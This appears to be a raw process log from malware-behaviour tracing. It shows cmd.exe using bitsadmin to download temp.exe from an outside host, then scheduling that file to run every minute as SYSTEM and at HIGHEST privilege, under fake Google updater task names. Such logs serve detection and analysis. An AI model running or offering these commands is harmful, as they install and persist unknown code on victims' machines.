cmd.exe C:\Windows\system32\cmd.exe /C bitsadmin /transfer GoogleUpdated /download /priority normal "http://date-flash.com/temp.exe" "c:\Windows\temp\temp.exe"
6116bitsadmin.exe bitsadmin /transfer GoogleUpdated /download /priority normal "http://date-flash.com/temp.exe" "c:\Windows\temp\temp.exe"
3660cmd.exe C:\Windows\system32\cmd.exe /C schtasks /create /sc minute /mo 1 /tn 'GoogleUpdated' /RL HIGHEST /tr c:\Windows\temp\temp.exe
3908schtasks.exe schtasks /create /sc minute /mo 1 /tn 'GoogleUpdated' /RL HIGHEST /tr c:\Windows\temp\temp.exe
2120cmd.exe C:\Windows\system32\cmd.exe /C schtasks /create /sc minute /mo 1 /tn 'GoogleUpdatab' /RU SYSTEM /tr c:\Windows\temp\temp.exe
3360schtasks.exe schtasks /create /sc minute /mo 1 /tn 'GoogleUpdatab' /RU SYSTEM /tr c:\Windows\temp\temp.exe
4368